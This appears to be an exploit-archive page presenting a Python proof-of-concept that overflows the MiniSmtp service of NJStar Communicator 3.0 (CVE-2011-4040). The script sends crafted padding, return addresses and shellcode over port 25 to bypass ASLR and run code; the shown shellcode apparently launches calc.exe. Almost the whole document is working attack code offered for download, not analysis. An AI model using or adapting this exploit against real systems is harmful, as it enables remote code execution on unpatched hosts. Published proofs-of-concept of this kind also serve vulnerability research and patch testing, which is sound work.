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NJStar Communicator 3.0 MiniSmtp Buffer Overflow

NJStar Communicator 3.0 MiniSmtp Buffer Overflow
Posted Dec 3, 2011
Authored by Julian Pulido

NJStar Communicator version 3.0 MiniSmtp buffer overflow exploit with ASLR bypass.

tags | exploit, overflow
advisories | CVE-2011-4040
SHA-256 | 0b7da0b7c7134272e31478cea7b4b013563a075161c8cc011b32e019d9b3d3de

NJStar Communicator 3.0 MiniSmtp Buffer Overflow

Change Mirror Download
# Exploit Title: NJStart Communicator MiniSmtp Buffer Overflow [ASLR Bypass]
# Date: 02/12/11
# Author: Zune - Julian Pulido
# Software Link: http://www.njstar.com/download/njcom.exe
# Version: 3.0
# Build: 11818 and previous
# Tested on: Windows 7 Ultimate
# CVE:2011-4040


#! /usr/local/bin/python

import socket
import time

carriage= chr(0xd)
#######################################
Padding1= chr(0x31)* 275
Jump= '\x8d\x44\x24\x80\xff\xe0\x90\x90'
Junk1= chr(0x90)* 4
return1= '\x2d\x12\x41' # pop retn
egg1= Padding1+Jump+Junk1+return1+carriage

#######################################
Padding2= chr(0x32)* 271
return2= '\x2b\x12\x41' # pop pop pop retn
egg2= Padding2+return2+carriage

#######################################
Padding3= chr(0x33) * 263
return3= '\x2d\x12\x41' # pop retn
egg3= Padding3+return3+carriage

#######################################
Padding4= chr(0x34) * 171
Padding5= chr(0x34) * 22
ShellCode = "\xC7\x43\x20\x63\x61\x6C\x63\xC7\x43\x24\x2E\x65\x78\x65\x33\xC0\
\x66\xB8\x1A\x08\xC1\xE0\x08\xB0\x79\x03\xE8\x8D\x43\x20\x33\xC9\xB1\x01\xC1\
\xC1\x0C\x2B\xE1\x6A\x05\x50\xFF\xD5\x8D\x85\x85\x44\xF8\xFF\x6A\x01\xFF\xD0"

return4= '\x2b\x12\x41' # pop pop pop retn
egg4= Padding4+ShellCode+Padding5+return4+carriage

#######################################

def Send_SMTP (egg):
connectionx.send(egg +'\n')
time.sleep(2)

connectionx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "Exploit NJStar Communicator 3.0 MiniSmtp by Zune\n"
print "Windows 7 Ultimate [ASLR Bypass]"
try:
connectionx.connect(("192.168.1.65",25))#SMTP port 25
Send_SMTP(egg1)
Send_SMTP(egg2)
Send_SMTP(egg3)
Send_SMTP(egg4)
connectionx.close()
except socket.error:
print "it couldn't connect"
time.sleep(2)



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